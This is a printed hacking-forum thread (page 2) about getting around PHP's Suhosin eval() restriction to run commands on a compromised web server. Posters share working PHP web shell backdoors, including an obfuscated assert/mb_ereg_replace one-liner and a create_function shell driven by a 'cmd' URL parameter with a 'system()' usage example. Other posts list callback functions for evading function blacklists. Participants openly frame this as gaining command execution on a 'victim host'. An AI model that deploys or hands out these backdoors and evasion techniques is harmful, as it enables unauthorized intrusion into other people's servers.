Hack Forums
[Tutorial] Circumventing Suhosin by using eval() alternatives. - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Website Hacking (https://hackforums.net/forumdisplay.php?fid=43)
+---- Thread: [Tutorial] Circumventing Suhosin by using eval() alternatives. (/showthread.php?tid=3591942)

Pages: Pages 1 2

* - frictionless - Jul 8, 2013

no preg_replace() with e modifier deprecated in php 5.5
but heres one everyone seems to overlook ;)

PHP Code

<?=@assert(mb_ereg_replace('/.*/', "print('\\1')", filter_input(1,_,516), 'e'));/* ?_=system('id'); */?>


* - Illicit - Jul 8, 2013

(Jul 7, 2013 09:16 PM)Phizo Wrote:  I'm unsure what that your statement is implying, as this has nothing to do with variables being sanitized.
Thank you for your kind words.

Im new to hacking, could you explain what caused the vulnerability? Was it not that the variables remained unsanitized?

* - Phizo - Jul 8, 2013

(Jul 8, 2013 01:54 PM)frictionless Wrote:  no preg_replace() with e modifier deprecated in php 5.5
but heres one everyone seems to overlook ;)

PHP Code

<?=@assert(mb_ereg_replace('/.*/', "print('\\1')", filter_input(1,_,516), 'e'));/* ?_=system('id'); */?>

The reason I said I would slap people for suggesting it isn't because it's deprecated in the latest PHP version (it isn't even a huge deal.)
The reason is because it invokes eval(), thus it won't work due to suhosin.executor.disable_eval.
This applies to your code, as well. *slaps you*

(Jul 8, 2013 05:32 PM)Illicit Wrote:  Im new to hacking, could you explain what caused the vulnerability? Was it not that the variables remained unsanitized?

Of course. c:

I'm unsure what variables you are referring to, as variables are irrelevant to the to circumvention of Suhosin's improperly configured function blacklist.
This "vulnerability" is caused due to misconfiguration of suhosin.executor.func.blacklist, as said in the tutorial.
A server administrator may add certain functions to the blacklist, but not the ones I've posted or ones that you may have discovered after researching, as advised. You would be better off using a whitelist (no doubt), just so you're aware.

If you're still puzzled by that explanation, I don't mind explaining further. Feel free to ask any questions you may have and I'll attempt to answer them for you.

* - Kyle1995 - Jul 8, 2013

Really great tutorial. Keep them coming!

* - Illicit - Jul 8, 2013

(Jul 8, 2013 09:25 PM)Phizo Wrote:  The reason I said I would slap people for suggesting it isn't because it's deprecated in the latest PHP version (it isn't even a huge deal.)
The reason is because it invokes eval(), thus it won't work due to suhosin.executor.disable_eval.
This applies to your code, as well. *slaps you*

Of course. c:

I'm unsure what variables you are referring to, as variables are irrelevant to the to circumvention of Suhosin's improperly configured function blacklist.
This "vulnerability" is caused due to misconfiguration of suhosin.executor.func.blacklist, as said in the tutorial.
A server administrator may add certain functions to the blacklist, but not the ones I've posted or ones that you may have discovered after researching, as advised. You would be better off using a whitelist (no doubt), just so you're aware.

If you're still puzzled by that explanation, I don't mind explaining further. Feel free to ask any questions you may have and I'll attempt to answer them for you.

Thanks very much for your helpful response, Ill explain my previous post within the code shown:

Code
$eval = create_function(null, $_GET['cmd']);   // Methinks this should have been sanitized!
$eval();

Was that not the reason? Have the programmers made a mistake?

EDIT: And what would the vulnerability lead to? The ability to access the forum despite the blacklist?

* - Phizo - Jul 8, 2013

(Jul 8, 2013 10:35 PM)Illicit Wrote:  Thanks very much for your helpful response, Ill explain my previous post within the code shown:

Code
$eval = create_function(null, $_GET['cmd']);   // Methinks this should have been sanitized!
$eval();

Was that not the reason? Have the programmers made a mistake?

EDIT: And what would the vulnerability lead to? The ability to access the forum despite the blacklist?

Are you referring to Suhosin monitoring and sanitising input? I believe it does eliminate LFI and SQLi that way, but that doesn't apply to PHP code in general.
If an IDS is in place, whether it be just for the PHP implementation (superglobals) or one that greps incoming HTTP requests, obfuscation can be used as circumvention.

After reading the sentence after the code-block, I get the impression that you're not understanding what's said in the tutorial.
That is my code, not a snippet from Suhosin. You wouldn't sanitise your own code, that would cripple your shell.

These are just simple shells, are you aware of what they are?
It's essentially a file written to a directory as a backdoor, providing command execution.

* - Illicit - Jul 8, 2013

(Jul 8, 2013 10:56 PM)Phizo Wrote:  Are you referring to Suhosin monitoring and sanitising input? I believe it does eliminate LFI and SQLi that way, but that doesn't apply to PHP code in general.
If an IDS is in place, whether it be just for the PHP implementation (superglobals) or one that greps incoming HTTP requests, obfuscation can be used as circumvention.

After reading the sentence after the code-block, I get the impression that you're not understanding what's said in the tutorial.
That is my code, not a snippet from Suhosin. You wouldn't sanitise your own code, that would cripple your shell.

These are just simple shells, are you aware of what they are?
It's essentially a file written to a directory as a backdoor, providing command execution.
Slaps himself
Oh I completely misunderstood the nature of this tutorial, I thought these where code snippets of vulnerabilities which could be exploited, because of this I was surprised they would make such a mistake.

So how does one inject a shell? Ill re-read the tutorial , perhaps Ill understand it more , once again thanks for the persistent help.

* - Phizo - Jul 9, 2013

(Jul 8, 2013 11:13 PM)Illicit Wrote:  *Slaps himself*
Oh I completely misunderstood the nature of this tutorial, I thought these where code snippets of vulnerabilities which could be exploited, because of this I was surprised they would make such a mistake.

So how does one inject a shell? Ill re-read the tutorial , perhaps Ill understand it more , once again thanks for the persistent help.

This tutorial doesn't cover how to attain shell access to the victim host, that's all up to you.
These are just a few things to try on a terrible implementation of Suhosin, to provide yourself with PHP code execution, which can further be used to provide yourself with shell command execution.

It's not a problem. If you put effort into learning, I don't mind answering questions.

* - Illicit - Jul 11, 2013

Yes.. Im back, after re-reading your post I was once more unable to conceive how to run the PHP code?
You seamed to have only covered the code itself (except for when mentioning sending requests into a port connection)

* - cheatson - Jul 11, 2013

(Jul 11, 2013 05:06 PM)Illicit Wrote:  Yes.. Im back, after re-reading your post I was once more unable to conceive how to run the PHP code?
You seamed to have only covered the code itself (except for when mentioning sending requests into a port connection)

If you were able to upload a php file, say suhosin.php with this code in it:
PHP Code

<?
$eval = create_function(null, $_GET['cmd']);  
$eval();   
?>

Then you would run it with:

Code
http://site.com/suhosin.php?cmd=system('enter command here');


* - Illicit - Jul 12, 2013

(Jul 11, 2013 05:18 PM)cheatson Wrote:  If you were able to upload a php file, say suhosin.php with this code in it:
PHP Code

<?
$eval = create_function(null, $_GET['cmd']);  
$eval();   
?>

Then you would run it with:

Code
http://site.com/suhosin.php?cmd=system('enter command here');

Thanks for your helpful responce. I am very grateful.

* - Phizo - Jul 17, 2013

I got off my lazy behind and decided to install Suhosin, as I require it for development testing.
This is the default installation (patch and extension) with suhosin.executor.disable_eval = On:
Code
bash-3.2# php -v
PHP 5.3.15 with Suhosin-Patch (cli) (built: Dec  9 2012 19:32:02)
Copyright (c) 1997-2012 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2012 Zend Technologies
    with Suhosin v0.9.33, Copyright (c) 2007-2012, by SektionEins GmbH

bash-3.2# php -r 'eval("echo 1;");'
PHP Fatal error:  SUHOSIN - Use of eval is forbidden by configuration in Command line code(1) : eval()'d code on line 1

These have all been tested and proved working on this installation.
Note: I did more than just test if they're callable.
PHP Code

<?php 
$methods   = array('create_function', 'call_user_func', 'call_user_func_array');
$anonymous = function () {};

foreach($methods as $method)
    if(is_callable($method)) echo "{$method} works." . PHP_EOL;

if(is_callable($anonymous))
    echo 'Manual lambda-style functions work.'; 

Code
bash-3.2# php test.php
create_function works.
call_user_func works.
call_user_func_array works.
Manual lambda-style functions work.

Any alternatives should work, provided they aren't blacklisted.

* - Cathal - Apr 17, 2014

This was very helpful with regards to a lil project I'm working on. Phizo continues to contribute even from the grave.

* - Kubrickian - May 9, 2014

Cheers for this inspiring TuT my friend. Thanks very much mate. Bumped for brevity.

* - Tony S - May 9, 2014

I know this thread is old and it's just been bumped but I'll list a couple more functions that you can use.

register_shutdown_function()
Spoiler (Click to View)

register_tick_function()
Spoiler (Click to View)

The ReflectionFunction class (invoke/invokeArgs methods)
Spoiler (Click to View)

array_map()
Spoiler (Click to View)

Along with most of the functions that accept callbacks ~
Spoiler (Click to View)